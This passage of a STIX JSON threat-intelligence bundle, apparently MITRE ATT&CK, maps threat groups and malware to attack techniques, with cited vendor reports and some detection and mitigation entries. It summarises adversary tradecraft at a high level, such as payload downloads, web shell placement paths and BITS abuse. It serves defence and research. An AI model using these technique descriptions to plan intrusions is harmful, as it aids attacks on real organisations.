2018)","relationship_type":"uses","source_ref":"malware--0852567d-7958-4f4b-8947-4f840ec8d57d","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}],"modified":"2020-03-17T01:40:36.739Z","description":"The [Komplex](https://attack.mitre.org/software/S0162) C2 channel uses HTTP POST requests.(Citation: Sofacy Komplex Trojan)","relationship_type":"uses","source_ref":"malware--f108215f-3487-489d-be8b-80e346d32518","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cdcbf3ed-dff3-46e4-8d4a-a2197bd42392","created":"2024-05-22T23:03:53.987Z","revoked":false,"external_references":[{"source_name":"CheckPoint Agrius 2023","description":"Marc Salinas Fernandez & Jiri Vinopal. (2023, May 23). AGRIUS DEPLOYS MONEYBIRD IN TARGETED ATTACKS AGAINST ISRAELI ORGANIZATIONS. Retrieved May 21, 2024.","url":"https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T23:03:53.987Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) downloaded some payloads for follow-on execution from legitimate filesharing services such as ufile.io and easyupload.io.(Citation: CheckPoint Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdcc30ba-b4be-469f-ae09-18913c53205d","type":"relationship","created":"2020-07-17T15:48:51.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.034Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can gather the user accounts within domain groups.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdcf94e0-b105-49c0-8f62-64f7350a5658","type":"relationship","created":"2021-09-21T15:16:40.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.650Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has used NetCat and PortQry to enumerate network connections and display the status of related TCP and UDP ports.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdd0980f-f3a8-456c-acf7-39fcd702bbb2","type":"relationship","created":"2021-10-12T02:51:22.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-10-12T02:51:22.960Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can persist via startup options for Login items.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdd356f2-bd44-497c-b02d-30ad9ed869a2","type":"relationship","created":"2019-04-24T20:48:39.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.578Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can capture microphone recordings.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdd38074-895f-40e8-85fb-acc1aa4ecb69","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.285Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used batch scripts in its malware to install persistence mechanisms.(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cdd92791-3bc2-4a1f-89b4-3eced4aa667f","created":"2019-08-26T15:27:13.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Securelist Kimsuky Sept 2013","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.416Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has the ability to enumerate all files and directories on an infected system.(Citation: Securelist Kimsuky Sept 2013)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdd9ae58-bed9-4cce-ad46-d4e96a789ded","type":"relationship","created":"2021-04-09T15:11:36.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:36.683Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has downloaded additional scripts that build and run Monero cryptocurrency miners.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cdde3e80-af48-40eb-b001-2dea47e68ad8","created":"2022-09-30T20:32:27.268Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:32:27.268Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) has transmitted collected files and data to its C2 server.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cde2c81f-91d4-440c-a952-f7dada748fd9","created":"2024-09-25T13:46:14.687Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:46:14.687Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. Look for connections to/from strange ports. ","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cde73e1c-da81-4673-a161-49693b45cd48","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"url":"https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations","description":"Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.","source_name":"Secureworks Cobalt Gypsy Feb 2017"}],"modified":"2021-04-23T14:51:04.305Z","description":"(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)(Citation: Secureworks Cobalt Gypsy Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cde9af4e-4bf9-4235-9d27-496eb78e3608","type":"relationship","created":"2020-05-28T16:38:03.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.456Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can collect directory and file lists.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cdec9832-31e5-472f-ac45-7667c77b8acd","created":"2024-05-22T19:19:31.415Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T19:19:31.415Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) has used [Apostle](https://attack.mitre.org/software/S1133) as both a wiper and ransomware-like effects capability in intrusions.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cdef12f4-7353-4edc-90d7-f6f7f7a13e7d","created":"2022-08-11T23:01:21.573Z","x_mitre_version":"0.1","external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has downloaded and installed web shells to following path C:\\inetpub\\wwwroot\\aspnet_client\\system_web\\IISpool.aspx.(Citation: Checkpoint MosesStaff Nov 2021)","modified":"2022-08-11T23:01:21.573Z","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdefab78-5d90-4e89-8664-5bbd30ab1517","type":"relationship","created":"2019-01-29T20:17:49.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"}],"modified":"2020-05-29T03:23:28.079Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) can search for anti-virus software running on the system.(Citation: Unit 42 Tropic Trooper Nov 2016)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cdf000de-7faa-4251-b1f0-d08e043ef16a","created":"2022-10-19T16:53:34.826Z","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:53:34.826Z","description":"[Penquin](https://attack.mitre.org/software/S0587) installs a `TCP` and `UDP` filter on the `eth0` interface.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdf0c1a3-179f-4e9c-bdea-358a9d6ac52d","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cdf6b439-62d6-4052-91ee-a154f674c68f","created":"2024-02-06T19:16:12.334Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-06T19:16:12.334Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used legitimate account credentials to move laterally through compromised environments.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4","type":"relationship","created":"2017-05-31T21:33:27.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.465Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers data from the local victim system.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdf7492f-4cdd-4119-aa5e-0d94a07a3965","type":"relationship","created":"2019-10-07T18:49:09.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper Mar 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/","description":"Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018."}],"modified":"2019-10-07T18:49:09.822Z","description":"[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to launch a malicious process.(Citation: TrendMicro Tropic Trooper Mar 2018)","relationship_type":"uses","source_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cdfe5f64-0a34-483c-b921-feaf18357354","type":"relationship","created":"2021-04-05T20:52:47.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft DUBNIUM June 2016","url":"https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/","description":"Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."}],"modified":"2021-04-22T14:35:25.538Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has used first-stage payloads that download additional malware from C2 servers.(Citation: Microsoft DUBNIUM June 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ce044795-c25e-44ba-8b23-d6a2173e9000","created":"2022-09-30T18:56:10.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"win10_asr","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021.","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:10:18.210Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated scripts.(Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ce04ddee-b6e1-49fa-bd25-c40757275844","created":"2022-04-28T16:05:10.698Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes and and compare against known good baseline behavior.","modified":"2022-04-28T16:05:10.698Z","relationship_type":"detects","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce071226-7abc-492c-918d-96cc195f928d","type":"relationship","created":"2020-07-30T17:43:35.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}],"modified":"2021-10-15T00:45:22.073Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) can enumerate all windows on the victim’s machine.(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ce0e4e49-3c40-4bce-96bd-460df4cb2124","created":"2022-02-09T14:49:28.633Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used an information gathering module that will hide an AV software window from the victim.(Citation: Talos Kimsuky Nov 